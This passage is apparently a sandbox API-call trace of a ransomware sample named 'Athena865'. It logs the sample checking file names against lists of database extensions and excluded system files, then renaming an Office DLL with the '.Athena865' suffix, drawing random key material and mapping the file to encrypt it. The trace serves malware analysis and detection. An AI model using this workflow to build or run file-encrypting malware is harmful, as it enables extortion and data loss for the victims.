(lpString="db") returned 2 [0066.315] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0066.315] lstrlenW (lpString="db2") returned 3 [0066.315] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0066.315] lstrlenW (lpString="db3") returned 3 [0066.315] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0066.315] lstrlenW (lpString="dbf") returned 3 [0066.315] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0066.316] lstrlenW (lpString="mdf") returned 3 [0066.316] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0066.316] lstrlenW (lpString="mdb") returned 3 [0066.316] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0066.316] lstrlenW (lpString="sql") returned 3 [0066.316] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0066.316] lstrlenW (lpString="sqlite") returned 6 [0066.316] lstrcmpiW (lpString1="SF.DLL", lpString2="sqlite") returned -1 [0066.316] lstrlenW (lpString="sqlite3") returned 7 [0066.316] lstrcmpiW (lpString1="DSF.DLL", lpString2="sqlite3") returned -1 [0066.316] lstrlenW (lpString="sqlitedb") returned 8 [0066.316] lstrcmpiW (lpString1="DDSF.DLL", lpString2="sqlitedb") returned -1 [0066.316] lstrlenW (lpString="xml") returned 3 [0066.316] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0066.316] lstrlenW (lpString="$er") returned 3 [0066.316] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0066.316] lstrlenW (lpString="4dd") returned 3 [0066.316] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0066.316] lstrlenW (lpString="4dl") returned 3 [0066.316] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0066.316] lstrlenW (lpString="^^^") returned 3 [0066.316] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0066.316] lstrlenW (lpString="abs") returned 3 [0066.316] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0066.316] lstrlenW (lpString="abx") returned 3 [0066.316] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0066.316] lstrlenW (lpString="accdb") returned 5 [0066.316] lstrcmpiW (lpString1="F.DLL", lpString2="accdb") returned 1 [0066.316] lstrlenW (lpString="accdc") returned 5 [0066.316] lstrcmpiW (lpString1="F.DLL", lpString2="accdc") returned 1 [0066.316] lstrlenW (lpString="accde") returned 5 [0066.316] lstrcmpiW (lpString1="F.DLL", lpString2="accde") returned 1 [0066.316] lstrlenW (lpString="accdr") returned 5 [0066.317] lstrcmpiW (lpString1="F.DLL", lpString2="accdr") returned 1 [0066.317] lstrlenW (lpString="accdt") returned 5 [0066.317] lstrcmpiW (lpString1="F.DLL", lpString2="accdt") returned 1 [0066.317] lstrlenW (lpString="accdw") returned 5 [0066.317] lstrcmpiW (lpString1="F.DLL", lpString2="accdw") returned 1 [0066.317] lstrlenW (lpString="accft") returned 5 [0066.317] lstrcmpiW (lpString1="F.DLL", lpString2="accft") returned 1 [0066.317] lstrlenW (lpString="adb") returned 3 [0066.317] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0066.317] lstrlenW (lpString="adb") returned 3 [0066.317] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0066.317] lstrlenW (lpString="ade") returned 3 [0066.317] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0066.317] lstrlenW (lpString="adf") returned 3 [0066.317] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0066.317] lstrlenW (lpString="adn") returned 3 [0066.317] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0066.317] lstrlenW (lpString="adp") returned 3 [0066.317] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0066.317] lstrlenW (lpString="alf") returned 3 [0066.317] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0066.317] lstrlenW (lpString="ask") returned 3 [0066.317] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0066.317] lstrlenW (lpString="btr") returned 3 [0066.317] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0066.317] lstrlenW (lpString="cat") returned 3 [0066.317] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0066.317] lstrlenW (lpString="cdb") returned 3 [0066.317] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0066.317] lstrlenW (lpString="ckp") returned 3 [0066.317] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0066.317] lstrlenW (lpString="cma") returned 3 [0066.318] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0066.318] lstrlenW (lpString="cpd") returned 3 [0066.318] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0066.318] lstrlenW (lpString="dacpac") returned 6 [0066.318] lstrcmpiW (lpString1="SF.DLL", lpString2="dacpac") returned 1 [0066.318] lstrlenW (lpString="dad") returned 3 [0066.318] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0066.318] lstrlenW (lpString="dadiagrams") returned 10 [0066.318] lstrcmpiW (lpString1="CCDDSF.DLL", lpString2="dadiagrams") returned -1 [0066.318] lstrlenW (lpString="daschema") returned 8 [0066.318] lstrcmpiW (lpString1="DDSF.DLL", lpString2="daschema") returned 1 [0066.318] lstrlenW (lpString="db-journal") returned 10 [0066.318] lstrcmpiW (lpString1="CCDDSF.DLL", lpString2="db-journal") returned -1 [0066.318] lstrlenW (lpString="db-shm") returned 6 [0066.318] lstrcmpiW (lpString1="SF.DLL", lpString2="db-shm") returned 1 [0066.318] lstrlenW (lpString="db-wal") returned 6 [0066.318] lstrcmpiW (lpString1="SF.DLL", lpString2="db-wal") returned 1 [0066.318] lstrlenW (lpString="dbc") returned 3 [0066.318] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0066.318] lstrlenW (lpString="dbs") returned 3 [0066.318] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0066.318] lstrlenW (lpString="dbt") returned 3 [0066.318] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0066.318] lstrlenW (lpString="dbv") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0066.319] lstrlenW (lpString="dbx") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0066.319] lstrlenW (lpString="dcb") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0066.319] lstrlenW (lpString="dct") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0066.319] lstrlenW (lpString="dcx") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0066.319] lstrlenW (lpString="ddl") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0066.319] lstrlenW (lpString="dlis") returned 4 [0066.319] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0066.319] lstrlenW (lpString="dp1") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0066.319] lstrlenW (lpString="dqy") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0066.319] lstrlenW (lpString="dsk") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0066.319] lstrlenW (lpString="dsn") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0066.319] lstrlenW (lpString="dtsx") returned 4 [0066.319] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0066.319] lstrlenW (lpString="dxl") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0066.319] lstrlenW (lpString="eco") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0066.319] lstrlenW (lpString="ecx") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0066.319] lstrlenW (lpString="edb") returned 3 [0066.319] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0066.319] lstrlenW (lpString="epim") returned 4 [0066.319] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0066.320] lstrlenW (lpString="fcd") returned 3 [0066.320] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0066.320] lstrlenW (lpString="fdb") returned 3 [0066.320] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0066.320] lstrlenW (lpString="fic") returned 3 [0066.320] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0066.320] lstrlenW (lpString="flexolibrary") returned 12 [0066.320] lstrlenW (lpString="fm5") returned 3 [0066.320] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0066.320] lstrlenW (lpString="fmp") returned 3 [0066.320] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0066.320] lstrlenW (lpString="fmp12") returned 5 [0066.320] lstrcmpiW (lpString1="F.DLL", lpString2="fmp12") returned -1 [0066.320] lstrlenW (lpString="fmpsl") returned 5 [0066.320] lstrcmpiW (lpString1="F.DLL", lpString2="fmpsl") returned -1 [0066.320] lstrlenW (lpString="fol") returned 3 [0066.320] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0066.320] lstrlenW (lpString="fp3") returned 3 [0066.320] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0066.320] lstrlenW (lpString="fp4") returned 3 [0066.320] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0066.320] lstrlenW (lpString="fp5") returned 3 [0066.320] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0066.320] lstrlenW (lpString="fp7") returned 3 [0066.320] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0066.320] lstrlenW (lpString="fpt") returned 3 [0066.320] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0066.320] lstrlenW (lpString="frm") returned 3 [0066.320] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0066.320] lstrlenW (lpString="gdb") returned 3 [0066.320] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0066.320] lstrlenW (lpString="gdb") returned 3 [0066.321] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0066.321] lstrlenW (lpString="grdb") returned 4 [0066.321] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0066.321] lstrlenW (lpString="gwi") returned 3 [0066.321] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0066.321] lstrlenW (lpString="hdb") returned 3 [0066.321] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0066.321] lstrlenW (lpString="his") returned 3 [0066.321] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0066.321] lstrlenW (lpString="ib") returned 2 [0066.321] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0066.321] lstrlenW (lpString="idb") returned 3 [0066.321] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0066.321] lstrlenW (lpString="ihx") returned 3 [0066.321] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0066.321] lstrlenW (lpString="itdb") returned 4 [0066.321] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0066.321] lstrlenW (lpString="itw") returned 3 [0066.321] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0066.321] lstrlenW (lpString="jet") returned 3 [0066.321] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0066.321] lstrlenW (lpString="jtx") returned 3 [0066.321] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0066.321] lstrlenW (lpString="kdb") returned 3 [0066.321] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0066.321] lstrlenW (lpString="kexi") returned 4 [0066.321] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0066.321] lstrlenW (lpString="kexic") returned 5 [0066.321] lstrcmpiW (lpString1="F.DLL", lpString2="kexic") returned -1 [0066.321] lstrlenW (lpString="kexis") returned 5 [0066.321] lstrcmpiW (lpString1="F.DLL", lpString2="kexis") returned -1 [0066.321] lstrlenW (lpString="lgc") returned 3 [0066.321] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0066.321] lstrlenW (lpString="lwx") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0066.322] lstrlenW (lpString="maf") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0066.322] lstrlenW (lpString="maq") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0066.322] lstrlenW (lpString="mar") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0066.322] lstrlenW (lpString="marshal") returned 7 [0066.322] lstrcmpiW (lpString1="DSF.DLL", lpString2="marshal") returned -1 [0066.322] lstrlenW (lpString="mas") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0066.322] lstrlenW (lpString="mav") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0066.322] lstrlenW (lpString="maw") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0066.322] lstrlenW (lpString="mdbhtml") returned 7 [0066.322] lstrcmpiW (lpString1="DSF.DLL", lpString2="mdbhtml") returned -1 [0066.322] lstrlenW (lpString="mdn") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0066.322] lstrlenW (lpString="mdt") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0066.322] lstrlenW (lpString="mfd") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0066.322] lstrlenW (lpString="mpd") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0066.322] lstrlenW (lpString="mrg") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0066.322] lstrlenW (lpString="mud") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0066.322] lstrlenW (lpString="mwb") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0066.322] lstrlenW (lpString="myd") returned 3 [0066.322] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0066.323] lstrlenW (lpString="ndf") returned 3 [0066.323] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0066.323] lstrlenW (lpString="nnt") returned 3 [0066.323] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0066.323] lstrlenW (lpString="nrmlib") returned 6 [0066.323] lstrcmpiW (lpString1="SF.DLL", lpString2="nrmlib") returned 1 [0066.323] lstrlenW (lpString="ns2") returned 3 [0066.323] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0066.323] lstrlenW (lpString="ns3") returned 3 [0066.323] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0066.323] lstrlenW (lpString="ns4") returned 3 [0066.323] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0066.323] lstrlenW (lpString="nsf") returned 3 [0066.323] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0066.323] lstrlenW (lpString="nv") returned 2 [0066.323] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0066.323] lstrlenW (lpString="nv2") returned 3 [0066.323] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0066.323] lstrlenW (lpString="nwdb") returned 4 [0066.323] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0066.323] lstrlenW (lpString="nyf") returned 3 [0066.323] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0066.323] lstrlenW (lpString="odb") returned 3 [0066.323] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0066.323] lstrlenW (lpString="odb") returned 3 [0066.323] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0066.323] lstrlenW (lpString="oqy") returned 3 [0066.323] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0066.323] lstrlenW (lpString="ora") returned 3 [0066.323] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0066.323] lstrlenW (lpString="orx") returned 3 [0066.323] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0066.323] lstrlenW (lpString="owc") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0066.324] lstrlenW (lpString="p96") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0066.324] lstrlenW (lpString="p97") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0066.324] lstrlenW (lpString="pan") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0066.324] lstrlenW (lpString="pdb") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0066.324] lstrlenW (lpString="pdm") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0066.324] lstrlenW (lpString="pnz") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0066.324] lstrlenW (lpString="qry") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0066.324] lstrlenW (lpString="qvd") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0066.324] lstrlenW (lpString="rbf") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0066.324] lstrlenW (lpString="rctd") returned 4 [0066.324] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0066.324] lstrlenW (lpString="rod") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0066.324] lstrlenW (lpString="rodx") returned 4 [0066.324] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0066.324] lstrlenW (lpString="rpd") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0066.324] lstrlenW (lpString="rsd") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0066.324] lstrlenW (lpString="sas7bdat") returned 8 [0066.324] lstrcmpiW (lpString1="DDSF.DLL", lpString2="sas7bdat") returned -1 [0066.324] lstrlenW (lpString="sbf") returned 3 [0066.324] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0066.324] lstrlenW (lpString="scx") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0066.325] lstrlenW (lpString="sdb") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0066.325] lstrlenW (lpString="sdc") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0066.325] lstrlenW (lpString="sdf") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0066.325] lstrlenW (lpString="sis") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0066.325] lstrlenW (lpString="spq") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0066.325] lstrlenW (lpString="te") returned 2 [0066.325] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0066.325] lstrlenW (lpString="teacher") returned 7 [0066.325] lstrcmpiW (lpString1="DSF.DLL", lpString2="teacher") returned -1 [0066.325] lstrlenW (lpString="tmd") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0066.325] lstrlenW (lpString="tps") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0066.325] lstrlenW (lpString="trc") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0066.325] lstrlenW (lpString="trc") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0066.325] lstrlenW (lpString="trm") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0066.325] lstrlenW (lpString="udb") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0066.325] lstrlenW (lpString="udl") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0066.325] lstrlenW (lpString="usr") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0066.325] lstrlenW (lpString="v12") returned 3 [0066.325] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0066.325] lstrlenW (lpString="vis") returned 3 [0066.326] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0066.326] lstrlenW (lpString="vpd") returned 3 [0066.326] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0066.326] lstrlenW (lpString="vvv") returned 3 [0066.326] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0066.326] lstrlenW (lpString="wdb") returned 3 [0066.326] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0066.326] lstrlenW (lpString="wmdb") returned 4 [0066.326] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0066.326] lstrlenW (lpString="wrk") returned 3 [0066.326] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0066.326] lstrlenW (lpString="xdb") returned 3 [0066.326] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0066.326] lstrlenW (lpString="xld") returned 3 [0066.326] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0066.326] lstrlenW (lpString="xmlff") returned 5 [0066.326] lstrcmpiW (lpString1="F.DLL", lpString2="xmlff") returned -1 [0066.326] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL.Athena865") returned 64 [0066.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll.athena865"), dwFlags=0x1) returned 1 [0066.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0066.328] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=579488) returned 1 [0066.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0066.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.328] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.329] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.329] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.329] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8daa0, lpName=0x0) returned 0x17c [0066.330] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8daa0) returned 0x2d50000 [0066.356] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.357] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.357] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0066.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0066.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0066.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0066.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0066.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0066.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0066.358] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0066.363] CloseHandle (hObject=0x17c) returned 1 [0066.363] CloseHandle (hObject=0x154) returned 1 [0066.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0066.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0066.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0066.365] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x86db0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCDDSLM.DLL", cAlternateFileName="")) returned 1 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2=".") returned 1 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2="..") returned 1 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2="windows") returned -1 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2="bootmgr") returned -1 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2="temp") returned -1 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2="pagefile.sys") returned -1 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2="boot") returned -1 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2="ids.txt") returned -1 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2="ntuser.dat") returned -1 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2="perflogs") returned -1 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2="MSBuild") returned -1 [0066.366] lstrlenW (lpString="ACCDDSLM.DLL") returned 12 [0066.366] lstrcpyW (in: lpString1=0x241e89e, lpString2="ACCDDSLM.DLL" | out: lpString1="ACCDDSLM.DLL") returned="ACCDDSLM.DLL" [0066.366] lstrlenW (lpString="ACCDDSLM.DLL") returned 12 [0066.366] lstrlenW (lpString="Athena865") returned 9 [0066.366] lstrcmpiW (lpString1="DDSLM.DLL", lpString2="Athena865") returned 1 [0066.366] lstrlenW (lpString=".dll") returned 4 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2=".dll") returned 1 [0066.366] lstrlenW (lpString=".lnk") returned 4 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2=".lnk") returned 1 [0066.366] lstrlenW (lpString=".ini") returned 4 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2=".ini") returned 1 [0066.366] lstrlenW (lpString=".sys") returned 4 [0066.366] lstrcmpiW (lpString1="ACCDDSLM.DLL", lpString2=".sys") returned 1 [0066.366] lstrlenW (lpString="ACCDDSLM.DLL") returned 12 [0066.366] lstrlenW (lpString="bak") returned 3 [0066.366] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0066.366] lstrlenW (lpString="ba_") returned 3 [0066.366] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0066.366] lstrlenW 